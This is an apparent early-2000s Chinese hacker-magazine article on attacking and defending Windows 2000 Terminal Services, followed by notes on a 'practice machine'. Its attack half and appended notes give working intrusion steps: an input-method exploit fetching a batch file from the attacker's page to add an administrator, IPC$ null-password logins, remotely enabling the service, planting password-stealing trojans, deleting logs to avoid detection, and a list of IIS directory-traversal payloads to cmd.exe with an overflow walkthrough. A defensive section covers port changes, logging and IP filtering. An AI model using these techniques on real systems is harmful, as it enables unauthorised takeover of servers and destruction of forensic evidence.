黑客X档案 [利用计算机管理连接到另一台计算机(IPC$)]

                   黑客X档案  [利用计算机管理连接到另一台计算机(IPC$)]

北岳信息港），北岳恒山，五岳，悬空寺，浑源新闻,注册用户可获支持短信通知的高性能免费北岳邮箱

 

前言：WIN 2000终端服务（TermService）是个非常好的服务，黑客喜欢用它，因为终端服务的功能之完备使任何木马后门都望尘莫及；管理员们也喜欢用它，因为终端服务可以给他的日常的维护和管理带来许多方便。于是自从三年前Win2000问世以来，网上出现了许许多多关于“WIN 2000终端服务攻防”的讨论：“黑客们发表入侵终端服务的心得，网管们讨论终端服务的防御技巧”。并且这些讨论一直经久不衰，在岁月巨轮即将滚入2003年的今天，“终端服务攻防”依然是最热门的论题之一，国内许多安全论坛中依然能看到许多“如何获取3389肉鸡”，“如何加固终端服务”之类的帖子。本文结合笔者自身经验，集“百家之长”地介绍一些关于“WIN 2000终端服务攻防”的实用技巧和方法，全文分“黑客进攻篇”和“网管防御篇”两篇，以此献给所有“喜欢”终端服务的朋友们。

黑客进攻篇
此篇介绍的就是一些关于3389 入侵的技巧和方法，可以看作是对终端服务入侵的总结。在进入正题前，先简单介绍一下终端服务：终端服务（TermService）是Win2000 server版自带有一个基于远程桌面协议（RDP）的服务，其默认服务端口是3389。终端服务之所以一直深受黑客们的“青睐”，是因为它速度很快，性能也很稳定，通过这个服务登陆远程主机后除物理上不能接触外几乎与本地操作几乎一样，一但黑客以管理员身份通过这个服务登陆远程主机后，他就几乎拥有该机的所有功能，因此黑客常常拿终端服务作为来进行控制的“后门”，甚至把开了终端服务的机子亲切地称作“3389肉鸡”。下面我们就先来看看终端服务入侵的几种常见思路和方法。
一．3389 终端服务入侵的几种方法
方法1：输入法入侵
通过Win2000 中文版本全拼和郑码输入法漏洞可以用多种方法可简单取得系统控制权，笔者认为最快的、一劳永逸的方法是把要用的木马和添加用户的批处理文件先传到个人主页上，然后在跳转url时把木马和批处理文件下载下来，再启动它们就OK了。此外最近的紫光输入法也有类似漏洞,不过可惜的是升级后紫光输入法也改正了这个漏洞。而且只有国内的机子才有输入法漏洞，所以此法对付不了国外主机。利用输入法漏洞具体方法有多种，这里只举一种说明，具体过程如下：
1． 先申请个免费网页空间,写个adu.bat文件放上去.内容如下:
net user hacker /add
net user hacker 123456
net localgroup administrators /add hacker
当然你也可以放个你喜欢的木马上去，用一样的方法也可以启动它的。
2． 用superscan扫描开着3389 终端服务机子，（如图1），然后用终端客户端程序mstsc.exe

图1
进行连接，（如图2），等跳出等录界面后,按ctrl+shift调出全拼输入法或郑码，在输入条的

图2
右端用鼠标右键点帮助（打了补丁其帮助菜单发灰是进不了的），（如图3），点击“输入法入门”进入输入法帮助界面后，再在“选项”菜单上点右键，在跳出菜单里选“跳转到URL”，

图3
然后在URL中输入：http://主页IP/adu.bat，然后选择“保存到磁盘”，选择目录：c:\任意文件夹。.下载完后回到帮助界面再一次“跳转到URL"，输入刚才的文件夹：c:\任意文件夹，找到刚才下载的adu.bat文件，单击选中它，然后点击鼠标右键选“打开”，这样执行了这个批处理文件，增加一个用户名hacker密码是123456的administrator组的用户。
3．用这个hacker的帐号从终端服务登录，然后就可以用图形界面“管理”这台可爱的3389肉鸡了。
真的很怀念2000年输入法刚曝光的那段日子，那时候的3389入侵几乎是“攻无不克，战无不胜”，一天能收集上百台3389肉鸡。呵呵，可惜的是岁月巨轮已经快入了2003了，这种风靡一时的“傻瓜式”的入侵方法已经很老了，绝大多数的此类机子都打了补丁。如果你有足够的耐心，在一大对开了3389的机子一台台试，成功机率大概是几百分之一吧！不过也别太担心，要找3389肉鸡有的是办法，我们继续往下看。
方法2：利用其他漏洞先取控制权，再从3389登陆。
由于终端服务的功能强大，黑客先在网上寻找开了3389的机子，看它有没有漏洞可以利用，如果有，就通过这些漏洞取得控制权后，然后再用终端服务进入。经常利用的win2000和IIS漏洞有：IPC$连接，win2000默认共享，UNICODE漏洞，ida、idq溢出漏洞, printer漏洞，ASP漏洞，FRONTPAGE扩展服务溢出，MSSQL溢出等等，具体的机子具体分析（这些漏洞具体如何利用我们这里就不具体说明了，不过笔者在下一篇《简单地获取大量3389肉鸡》一文中详细介绍了几种可以简单快速获取大量3389肉鸡的方法，或许对你会有用），取得控制权后利用窃取的帐号或新加的的帐号就可以登陆终端服务进行图形界面的管理了！此外，利用NT弱口令用户和sql空口令用户也是常用的方法之一，此法可以利用国内的经典黑软流光的IPC和SQL弱口令用户探测功能，很容易就能扫描到许多administrator密码为空或超级简单的用户或者SQL的弱口令用户。如果是NT帐户那么你就可以直接用此帐号“正大光明”地从3389进去了。如果扫到的是SQL的弱口令用户，那可以先通过SQLexec等工具连接上去，再添加NT用户，然后就可以从3389进去了。
文章至此，有人会问：通过即使通过方法2取得了一台机子控制权和合法帐号，但是你怎么知道该机一定会开了终端服务？的确，事实上许多我们取得了控制权的win2000往往没有开终端服务。以上方法2 所说的情况是在假设开了终端服务的条件下才成立，但是我们为什么不把这个假设变成事实呢？让我们来给它打开终端服务吧！不过要提醒新手们的是win 2000 professional 是没有终端服务的，只有server才有。

二．启动远程主机的终端服务的几种方法

方法1：建立IPC连接后利用计算机管理工具启动远程主机的终端服务
此方法的情况是远程主机已安装了终端服务但停止了服务，先决条件是能以管理员的身份建立ipc连接。举例说明：用流光扫描到一台win2000 的administrator 密码为空，并测试后确定是win2000 server。
1、 打开cmd，输入：
net use \\ (远程主机的ip)\ipc$ “” /user:administrator
提示命令完成，表示建立了ipc$连接。注意了，你建立的帐号必须是管理员帐号，不然就没有权限启动服务。
2、再打开win2000管理工具中的计算机管理，用鼠标右键点击“计算机管理（本地）”，选“连接到另一台计算机”。在“名称（n）”里输入远程主机的IP，（如图4），按“确定”，由于建立了IPC$连接，过一会儿就能连接到远程主机。

图4
4、点击“服务和应用程序”中的“服务”，等几分钟后（具体看网速）右边视窗中就列出了远程主机的服务。（如图5），这些就是远程计算机的服务，找到“terminal services“，用鼠
图5
标右键单击它，启动它，等进度条完成后，终端服务就启动了！呵呵，看到了吗，这里我已经把它启动了。细心的朋友可能已经看到了别的有趣的东西了，比如：telnet，日志，共享呀，呵呵，事实上以管理员身份建立IPC连接后利用计算机管理工具可以做许多事哦，有兴趣的朋友慢慢试吧。当然你在行令行下用net start 命令也可以启动终端服务，不过比较麻烦。

方法2：用无人职守工具Sysomgr.exe在命令行下远程安装终端服务
此方法的情况是远程主机没有安装了终端服务组件。此法先决条件是取得了管理员权限，能telnet远程执行如下命令：
c:\>echo [Components] > c:\startTS
c:\>echo TSEnable = on >>c:\startTS
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\startTS /q /r
（如果没有 /r参数的话，服务器会自动重启。）
这样计算机重新启动后它的终端服务就开放了。如果不能远程执行命令，但能建立IPC$连接并c$默认共享开放时也可以实现，只要把命令写成批处理文件，然后copy到远程主机的administrator的启动文件夹下就行，别忘了在批处理文件最后加上del此批处理文件的命令。

快速获取大量3389肉鸡的几种方法，
（此块内容我已经将它独立成篇，因为我越写越多，最后发现它太过庞大了，放在这里影响整篇文章地布局，所以我把它放在独立的一篇文章里了，只要两篇文章放在一起还是可以相互照应的，你看看就能明白）

三、进入以后的注意点
1、我们知道终端服务一定要用合法的帐户才能进去，但像我们上面溢出成功后直接添加一个用户的做法是最笨也最容易被发现的，当然管理员是超级白痴的例外。比较好的办法是，给肉鸡下一个能盗取用户登录密码并能发送到你的信箱的木马，这样你就可以用肉鸡原有合法的帐户登录终端服务了。如果你一定要用添加用户的方法，建议你用添加“隐身帐号”的方法或“克隆系统帐户”的方法（详见《黑客X档案》2002年12月的第8期的《 》）。
2、从终端服务进入以后，应该在最短的时间内把要做的事做好：要留后门，做代理，下载要用的工具，或是改掉终端服务的默认端口，都尽量一次完成，因为你连接时加重对方的机子的负荷，对方机子的反映速度会变慢，加上经常无故的读盘会引起管理员的怀疑。要利用肉鸡扫描或暴力猜解时应该选择对方机子所在地的深夜才不易被发觉，因为那时的服务器负荷较轻，对方管理员又很可能不守在旁边。
3、最后还有一件事非干不可——清除日志，如果你不想若麻烦，就老记这点。Windows2000的日志文件通常有应用程序日志，安全日志、系统日志、IIS日志等，虽然3389的日志记录不是很完善，可还是会留下许多记录的，特别是我们为了取得控制权我们可能利用了别的服务，总会留下些蛛丝马迹的，所以清除日志时，要清除的彻底，有日志清除的工具当然最好，像elsave.exe就是小榕写的一个非常不错的win2000的日志清除工具。如果没有日志工具，就手工把以下文件夹中的文件都删了也可以：
system32\logfiles\*.*
system32\dtclog\*.*
%systemroot%\system32\logfiles\*.*
%systemroot%\schedlgu.txt
%systemroot%\sys tem32\config

网管防御篇
上篇中讲了许多关于入侵终端服务的东西，讲得连我自己也觉得开了终端服务有点可怕哦！但终端服务又实在是个非常好的远程管理工具，管理员们得日常的维护和管理少不了它，为了怕黑客上门而关闭终端服务那显然是非常不切实际的。其实WIN2000的安全性还是比较高的，管理员们也不用太担心了，只要你做好WIN2000的安全配置，打好各种补丁，关闭IPC连接和默认共享，消除IIS漏洞、SQL漏洞，加强帐号的管理，定期检测，还是能防御黑客的。当你怀疑有黑客通过终端服务进入你的计算机时，你可以用终端服务管理器查看是否有不明身份者登录到你的计算机了。同时我们还可以再做些下面介绍的工作来进一步加固Terminal Service的安全：
一、更改终端服务的默认端口
众所周知，终端服务默认服务端口是3389，黑客也常常通过扫描3389端口来判断服务器是否开启了终端服务，所以那些网上开着3389端口的服务器很容易引来黑客。不过我们只要改一改它的服务端口就可以大大降低风险了，具体方法可以通过修改win2000注册表的两个地方来实现，进入注册表的第一个地方：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp] 下，找到“PortNumber”，它的值是十六进制：0xd3d（就是3389），改成你想要的端口，修改成你所想要的端口，比如9833，改的时候可以用十进制。
然后进入注册表的第二个地方：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp]下，找“PortNumber”，默认键值也是3389，修改成你刚才第一次改的端口，如9833 ，这样重启系统终端服务的端口就改变了。
如果你嫌这太麻烦，那你可以借助于一个专门用来修改终端服务的端口的工具：c3389.exe ，它的原理也是修改注册表，不过只要在cmd下输入如下命令就可以了：
c3389 port（你想要的端口）
这样它就帮你自动修改注册表，比直接改注册表省事多了，这个小软件除了能修改本地终端端口，还可以修改和显示远程主机终端端口，用法如下：
c3389 \\（远程主机地址）adminname password 9833
要注意的是服务端的端口改了，客户端也要改成相应端口也行，不然就连不上了。具体方法：打开客户端连接管理器，建立一个客户端连接的快捷方式，选中这个连接后在“文件”菜单里选择“导出”（见图6），这样会生成一个.cns文件，用文本文件方式打开它，找到“Server Port=3389”这句，把3389改成与服务端相应的端口后保存，然后再选“文件”菜单里的“导入”，这样客户端也修改完成了。

图6
二、改善终端服务的日志
终端服务有自带的日志审核，只要在计算机管理工具中打开远程控制服务配置（Terminal Service Configration），点击“连接”，右击你想配置的RDP服务，选中书签“权限”，点击左下角的“高级”，看到上面的“审核”，加入一个Everyone组，这表示审核所有的用户，然后在审核内容里选上你想记录的内容：如：“连接”、“注销”、“登录”等。这样终端服务的日志就启动了，可以在安全日志中查看到有关记录。但微软的这个日志功能有很大的缺陷，它只记录连接机器名而不记录连接机器的IP地址，而机器名是很容易作假的，这样对检测很不利。不过我们可以自己动手来弥补其不足。简单方法：建立一个批处理文件Iplog.bat。内容如下：
time /t >>TerminalServicelog.txt
netstat –n –p tcp | find “:3389”>>TerminalServicelog.txt
start explorer
此文件的作用：
第一行是记录用户等录的时间，time /a直接返回系统时间，>>TerminalServicel
og.txt是把显示的时间输入到TerminalServicelog.txt这个文件。
第二行是记录用户的IP地址。netstat –n –p tcp | find “:3389”是显示连接到3389端口的TCP协议的信息，同时也把这个信息重定向到erminalServicelog.txt这个文件。
第三行start explorer是启动explorer，进入桌面。
写好这个批处理文件Iplog.bat后，打开终端服务配置，把每个用户的默认等录脚本设置为Iplog.bat，这样用户通过终端服务等录时，这个Iplog.bat就会记录其等录时间和IP地址，记录格式如下：
20:11
TCP　　211.*.12.28:3389　　211.*.10.123:4903　　　ESTABLISHED
23:54
TCP　　211.*.12.28:3389　　209.*.167.29:1039　　　ESTABLISHED
我们可以看上面20:11的一次TCP连接，它的目的地址本地服务器211.*.12.28的3389端口，而源地址是211.*.10.123的4903端口，这样的记录就比较有利于我们发现异常现象。当然如果这是最简单的做法，如果想更好的监控3389端口完全可以编个程序，还可以把日志发送到本机之外保存起来，防止被破坏。
三、设置IP安全策略阻止3389非法访问
WIN 2000的管理工具中有一个“本地安全策略”工具，我们可以用它来加固终端服务的安全，防止远程用户的非法访问。基本思路是：设置IP安全策略，先过滤所有远程连接本地3389端口的TCP请求，然后再允许通过特定的授权IP连接，像管理员的工作站IP地址的连接，或是某个内容网络的IP。下面我们来看看具体如何实现：
1、我们先建立一个过滤所有远程连接本地3389端口的TCP的请求的IP安全策略。打开管理工具中的“本地安全策略”，在“IP安全策略”选项上点击右键，选择“创建IP安全策略”，会弹出向导窗口，单击下一步，在弹出的窗口中输入“终端服务过滤”，以后全部默认下一步，这样就完成新策略的添加，下面我们为这个“终端服务过滤”策略来建立一个“筛选器”和“筛选器操作”。
2、回到“本地安全策略”的界面，在“IP安全策略”选项上点击右键，选择“管理IP筛选器操作”，弹出窗口，（如图7），我们要建立第一个筛选器，单击“添加”，弹出窗口，我们

图7
接着建立一个筛选器，单击“添加”，弹出窗口，在筛选器名称里填入“筛选器1”，再单击旁边的“添加”，会弹出向导窗口，单击“下一步”，出现IP通讯的源地址选项，（如图8），
图8
在这里我们选择“任何IP地址”，单击下一步，在IP通讯目的地址中选择“我的IP地址”，再单击下一步，选择IP协议，当然选“TCP”，再单击下一步，会出现端口选择，（如图9），

图9
设置为“从任何端口”到本地“3389”端口，单击下一步，这就完成了“筛选器1”的建立。
3、再回到图接着回到图6界面，单击“管理筛选器操作”标签，单击“添加”，会弹出筛选器操作向导，单击“下一步”，取名为“筛选器操作1”，单击下一步，在选择操作页面中选择“阻止”，单击“下一步”，就完成了“筛选器操作1”的建立。
4、这样我们已经建立了“筛选器1”和“筛选器操作1”，现在我们来建全IP安全规则了，
回到“本地安全策略”的界面，点击“IP安全策略”，在右边的窗口里双击我们刚才建立的那个“终端服务过滤”策略，弹出策略属性窗口，单击“添加”，弹出向导，再一直单击下一步，其中一个选择“是”，直到这里选择我们刚才建立的“筛选器1”，然后再单击下一步，选择建立“筛选器操作1”的操作，单击“下一步”，这样终于完成了这个IP安全规则了。
5、下面我们要应用这个阻止所有连向本地3389端口的IP连接的“终端服务过滤”安全策略了，只要在“终端服务过滤”策略上单击右键，再单击“指派”，这样系统就开始应用这个安全策略了，所有连接3389的TCP请求都将被阻止。
现在所有的3389连接都被阻止了，管理员要如何连接呢? 别急，只要重复步骤1-5的过程，我们再来建立一个允许管理员工作站连接的IP安全策略就行了。当然其中的设置和刚才当然有所不同了，在设置 “筛选器”时选择源地址时要选择“一个特定的IP地址”或者“一个特定的子网”，然后填入管理员的所在工作站的IP或在子网IP，在选择“筛选器操作”的动作是也要使用“许可”才行，最后别忘了“指派”，这样才能生效。
这样就在很大程度上能防止远程非法用户连接本地的3389端口了，下面我们还可以对不同用户组的帐户授予不同的权限，具体的可以打开管理工具中“终端服务配置”工具，双击打开“连接“中的RDP-TCP属性对话框，选择其中的“权限”标签，（如图10），通过“添
图10
加”或“删除”可以增加或删除允许从终端服务登录的用户组，单击“高级”，在双击某个用户组又可以设置这个组具体的权限，（如图10）。这样我们就又能防止了某些内部用户的错误操作或蓄意破坏对系统造成重大影响。

图11

讲了这么多，大家应该对终端服务的常规入侵手法和防御方法有所了解了吧，但笔者水平有限，可能把一些好的方法遗漏了或者有些地方理解错误，还请大家见量！^_^

 

 

2003 8/3/
菜鸟练习机（给大家练习用）
地址：10.66.146.68
漏洞：
[CGI漏洞]

/scripts/samples/search/qsumrhit.htw
/scripts/samples/search/qfullhit.htw
/null.ida
/null.idq
/abczxv.htw
/scripts/root.exe?/c+dir%20c:\

/a.asp/..%c0%2f../..%c0%2f../winnt/win.ini [漏洞描述]
/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini [漏洞描述]
/scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]
/scripts/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]
/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir [漏洞描述]

/scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%25%35%63../..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%255c../..%255c../..%255cwinnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]
/scripts/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]
/scripts/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]
/scripts/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]

/scripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/..%u00255c../winnt/system32/cmd.exe?/c+dir [漏洞描述]
/scripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20C:\ [漏洞描述]

可能存在"IIS .asp映射分块编码远程缓冲区溢出"漏洞

可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.ida)
可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.idq)

所用工具：ida溢出工具（）
具体*作：

1、运行iis 工具，在被攻击地址输入：10.66.146.68 端口号不变 80
*作系统类型，选择chinese win2k, 选择溢出后监听，在邦定的命令中cmd.exe
点击溢出。
2、在运行里输入cmd 会出现c:\winnt提示，
3、输入 telnet 10.66.146.68 813
4、过一会会出现溢出后对方主机的d:\winnt\system32
5、添加一个用户在administrators下，
  net user sysadmin 1234 /add
  net localgroup administrators sysadmin /add
  以上是增加sysadmin用户，把sysadmin 加入到administators组。
  net start telnet (开启telnet服务）
以上在输入几条命令时，可能命令窗口不可见，大家可以直接输入，输入完回车，就会出现命令。如果正确，会出现成功，如果不行，会出现出错提示。
现在你就有了administator的权限。
接着你可以做一个自己的肉鸡，自己用
在运行里输入cmd
net use "1234" /user:"sysadmin"
copy open3389.exe
net time (假如时间为：10.20
at 10：25 open3389.exe
完成后，大家就可以用win2000的终端连接直接进入了。

3.终断服务开启程序：
c:\>echo [Components] > c:\aa
c:\>echo TSEnable = on >>c:\aa
c:\>sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\aa /q /r

---------------

有个破机器445死活打不开，败了